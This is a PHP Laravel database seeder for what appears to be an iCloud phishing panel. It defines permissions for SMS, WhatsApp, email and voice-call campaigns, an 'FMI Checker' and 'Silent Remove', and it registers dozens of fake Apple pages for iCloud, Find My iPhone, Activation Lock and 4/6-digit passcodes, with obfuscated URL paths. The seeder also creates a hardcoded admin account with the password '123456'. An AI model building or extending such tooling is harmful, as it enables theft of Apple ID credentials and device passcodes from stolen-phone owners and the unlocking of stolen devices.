<?php

namespace Database\Seeders;

use App\Models\Script;
use App\Models\User;
use Illuminate\Database\Seeder;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Hash;
use Spatie\Permission\Models\Role;
use Spatie\Permission\Models\Permission;

class DatabaseSeeder extends Seeder
{
    /**
     * Seed the application's database.
     *
     * @return void
     */
    public function run()
    {
        // Roles
        $roles = [
                "name" => "Super Admin",
                "guard_name" => "web"
        ];
        // Permissions
        $permissions = [
            ["name" => "Authorize Domain", "guard_name" => "web"],
            ["name" => "Block IP", "guard_name" => "web"],
            ["name" => "Create Domain", "guard_name" => "web"],
            ["name" => "Create Order", "guard_name" => "web"],
            ["name" => "Create Sms Template", "guard_name" => "web"],
            ["name" => "Create SmsApi", "guard_name" => "web"],
            ["name" => "Create User", "guard_name" => "web"],
            ["name" => "Create SMTP", "guard_name" => "web"],
            ["name" => "Delete Domain", "guard_name" => "web"],
            ["name" => "Delete Order", "guard_name" => "web"],
            ["name" => "Delete Sms Template", "guard_name" => "web"],
            ["name" => "Delete SmsApi", "guard_name" => "web"],
            ["name" => "Delete User", "guard_name" => "web"],
            ["name" => "Delete SMTP", "guard_name" => "web"],
            ["name" => "Login Details", "guard_name" => "web"],
            ["name" => "Manage Order", "guard_name" => "web"],
            ["name" => "Manage Permission", "guard_name" => "web"],
            ["name" => "Manage Profile", "guard_name" => "web"],
            ["name" => "Manage Roles", "guard_name" => "web"],
            ["name" => "Manage Sms Template", "guard_name" => "web"],
            ["name" => "Manage SmsApi", "guard_name" => "web"],
            ["name" => "Manage SMTP", "guard_name" => "web"],
            ["name" => "Password Reset", "guard_name" => "web"],
            ["name" => "Update Domain", "guard_name" => "web"],
            ["name" => "Update Order", "guard_name" => "web"],
            ["name" => "Update Sms Template", "guard_name" => "web"],
            ["name" => "Update SmsApi", "guard_name" => "web"],
            ["name" => "Update User", "guard_name" => "web"],
            ["name" => "Update SMTP", "guard_name" => "web"],
			["name" => "Edit SMTP", "guard_name" => "web"],
            ["name" => "View Domain", "guard_name" => "web"],
            ["name" => "View Order", "guard_name" => "web"],
            ["name" => "View Sms Template", "guard_name" => "web"],
            ["name" => "View SmsApi", "guard_name" => "web"],
            ["name" => "View User", "guard_name" => "web"],
            ["name" => "View SMTP", "guard_name" => "web"],
            ["name" => "Create Email Order", "guard_name" => "web"],
            ["name" => "Delete Email Order", "guard_name" => "web"],
            ["name" => "Manage Email Order", "guard_name" => "web"],
            ["name" => "View Email Order", "guard_name" => "web"],
            ["name" => "Update Email Order", "guard_name" => "web"],
            ["name" => "User Profile", "guard_name" => "web"],
            ["name" => "Manage Email Templates", "guard_name" => "web"],
            ["name" => "Create Email Templates", "guard_name" => "web"],
            ["name" => "View Email Templates", "guard_name" => "web"],
            ["name" => "Edit Email Templates", "guard_name" => "web"],
            ["name" => "Update Email Templates", "guard_name" => "web"],
            ["name" => "Delete Email Templates", "guard_name" => "web"],
            ["name" => "FMI Checker", "guard_name" => "web"],
            ["name" => "Silent Remove", "guard_name" => "web"],
            ["name" => "Url Shortener", "guard_name" => "web"],
            ["name" => "WhatsApp Sender Devices", "guard_name" => "web"],
            ["name" => "Manege WhatsApp Order", "guard_name" => "web"],
            ["name" => "Create WhatsApp Order", "guard_name" => "web"],
            ["name" => "View WhatsApp Order", "guard_name" => "web"],
            ["name" => "Update WhatsApp Order", "guard_name" => "web"],
            ["name" => "Delete WhatsApp Order", "guard_name" => "web"],
            ["name" => "Manage WhatsApp Template", "guard_name" => "web"],
            ["name" => "Create WhatsApp Template", "guard_name" => "web"],
            ["name" => "Delete WhatsApp Template", "guard_name" => "web"],
            ["name" => "Update WhatsApp Template", "guard_name" => "web"],
            ["name" => "Media", "guard_name" => "web"],
            ["name" => "Voice Call", "guard_name" => "web"],
            ["name" => "Voice Call Audio Upload", "guard_name" => "web"],
            ["name" => "Voice Call Histroy", "guard_name" => "web"],
            ["name" => "Voice Call Countries", "guard_name" => "web"],
            ["name" => "Voice Call User Credits", "guard_name" => "web"],
            ["name" => "Instant Orders", "guard_name" => "web"],
            ["name" => "Subscription", "guard_name" => "web"],
            ["name" => "Settings", "guard_name" => "web"],
            ["name" => "Order Settings", "guard_name" => "web"],
            ["name" => "WhatsApp Bot", "guard_name" => "web"],
            ["name"=>"Voice Call From Numbers", "guard_name"=>"web"],
            ["name"=>"Twilio", "guard_name"=>"web"],
            ["name"=>"Enable Disable Domain", "guard_name"=>"web"]
        ];

        // create user and give permission
        $role = Role::create($roles);
        foreach ($permissions as $value) {
            $permission = Permission::create($value);
            $role->givePermissionTo($permission);
        }
        $user = User::create([
            "name" => "System Admin",
            "email" => "superadmin@gmail.com",
            "password" => Hash::make('123456'),
            "type" => 1,
            "created_by" => 1,
            "status" => 1
        ]);
        $user->syncRoles($role);
        // Scripts
        $scripts = [
            ["name" => "iCloud [New 2022-23]", "path" => "/flndcs"],
            ["name" => "Find Devices [New 2022-23]", "path" => "/illocations"],
            ["name" => "Find My iPhone 2021-22", "path" => "/fmixd"],
            ["name" => "Find My iPhone App", "path" => "/fmlnid"],
            ["name" => "Find My iPhone Compass", "path" => "/fmlp"],
			["name" => "iCloud Photo Sharing 2021-22", "path" => "/xskjfd"],
			["name" => "iCloud Photo Sharing 2022-23", "path" => "/phxsaw"],
            ["name" => "Manage Apple ID", "path" => "/ild"],
            ["name" => "Reset Password", "path" => "/reesets"],
            ["name" => "iCloud Map [Manual Location]", "path" => "/mmasp"],
			["name" => "iCloud Map + Model [Manual Location]", "path" => "/mcdso"],
            ["name" => "Map Popup [Old View] [Manual Location]", "path" => "/ilmapss"],
            ["name" => "iPhone Map V 1 [Manual Location]", "path" => "/imapllocs"],
            ["name" => "iPhone Map V 2 + Model [Manual Location]", "path" => "/ilocs"],
            ["name" => "iPhone Map V 3 +  Model [Manual Location]", "path" => "/illocates"],
            ["name" => "Zoom Map Popup V 1 [Manual Location]", "path" => "/mpflndx"],
            ["name" => "Zoom Map Popup V 2 [Manual Location]", "path" => "/ltrasck"],
            ["name" => "Zoom Map Popup + Model [Manual Location]", "path" => "/liphons"],
			["name" => "Zoom Map All in One [Manual Location]", "path" => "/allcse"],
			["name" => "iCloud Map [Auto Location]", "path" => "/iclmps"],
			["name" => "iCloud Map + Model [Auto Location]", "path" => "/icmps"],
            ["name" => "Map Popup [Auto Location]", "path" => "/lampsc"],
            ["name" => "iPhone Map V 1 [Auto Location]", "path" => "/maapsxs"],
            ["name" => "iPhone Map V 2 + Model [Auto Location]", "path" => "/icixs"],
            ["name" => "iPhone Map V 3 +  Model [Auto Location]", "path" => "/ilocxsa"],
            ["name" => "Zoom Map Popup V 1 [Auto Location]", "path" => "/flnps"],
            ["name" => "Zoom Map Popup V 2 [Auto Location]", "path" => "/trocks"],
            ["name" => "Zoom Map Popup + Model [Auto Location]", "path" => "/phoxsc"],
			["name" => "Zoom Map All in One [Auto Location]", "path" => "/acallone"],
			["name" => "iPhone Theft and Claim", "path" => "/thftds"],
            ["name" => "iTune Gift Card", "path" => "/gift"],
            ["name" => "Apple Support", "path" => "/support"],
            ["name" => "Apple Track", "path" => "/tracking"],
            ["name" => "Apple Claim", "path" => "/claim"],
            ["name" => "iPhone Track", "path" => "/find-my"],
            ["name" => "Find My Lost Device", "path" => "/lost"],
            ["name" => "Activation Lock", "path" => "/active"],
            ["name" => "Apple TV", "path" => "/itv"],
            ["name" => "App Store", "path" => "/store"],
            ["name" => "Find My Mac", "path" => "/mac"],
            ["name" => "Contact Apple Support", "path" => "/contact_support"],
            ["name" => "iCloud Passcode 4 [New 2022-23]", "path" => "/xvdfoc/icl4"],
            ["name" => "iCloud Passcode 6 [New 2022-23]", "path" => "/xvdfoc/icl6"],
			["name" => "4 Passcode [iCloud Design]", "path" => "/lox4cods"],
            ["name" => "6 Passcode [iCloud Design]", "path" => "/lox6cods"],
            ["name" => "FMI 4 Passcode V 1", "path" => "/xvdfoc/fmi4"],
            ["name" => "FMI 6 Passcode V 1", "path" => "/xvdfoc/fmi6"],
            ["name" => "FMI 4 Passcode V 2", "path" => "/locxds/fmi4"],
            ["name" => "FMI 6 Passcode V 2", "path" => "/locxds/fmi6"],
			["name" => "Keyboard Passcode + FMI", "path" => "/key"],
			["name" => "4 Passcode + Face ID", "path" => "/xvdfoc/fc4"],
            ["name" => "6 Passcode + Face ID", "path" => "/xvdfoc/fc6"],
			["name" => "Passcode 4 + Activation Lock", "path" => "/xvdfoc/4"],
            ["name" => "Passcode 6 + Activation Lock", "path" => "/xvdfoc/6"],
			["name" => "4 Passcode + FMI V 1", "path" => "/locxds/loc4"],
            ["name" => "6 Passcode + FMI V 1", "path" => "/locxds/loc6"],
			["name" => "4 Passcode + FMI V 2", "path" => "/locxds/4"],
            ["name" => "6 Passcode + FMI V 2", "path" => "/locxds/6"],
            ["name" => "Map 4 Passcode [Manual Location]", "path" => "/locxds/ac4"],
            ["name" => "Map 6 Passcode [Manual Location]", "path" => "/locxds/ac6"],
            ["name" => "4 Map Passcode + Model [Manual Location]", "path" => "/pas4xcd"],
            ["name" => "6 Map Passcode + Model [Manual Location]", "path" => "/pas6xcd"],
			["name" => "Map 4 Passcode [Auto Location]", "path" => "/locxds/acc4"],
            ["name" => "Map 6 Passcode [Auto Location]", "path" => "/locxds/acc6"],
            ["name" => "4 Map Passcode + Model [Auto Location]", "path" => "/pas04xcd"],
            ["name" => "6 Map Passcode + Model [Auto Location]", "path" => "/pas06xcd"],
            ["name" => "Mac 4 Passcode", "path" => "/mac/4"],
            ["name" => "Mac 6 Passcode", "path" => "/mac/6"],
			["name" => "Xiaomi 2023", "path" => "/xia"],
			["name" => "Samsung", "path" => "/sam"]
        ];
        Script::insert($scripts);
        // User::factory()->count(500)->create();
    }
}
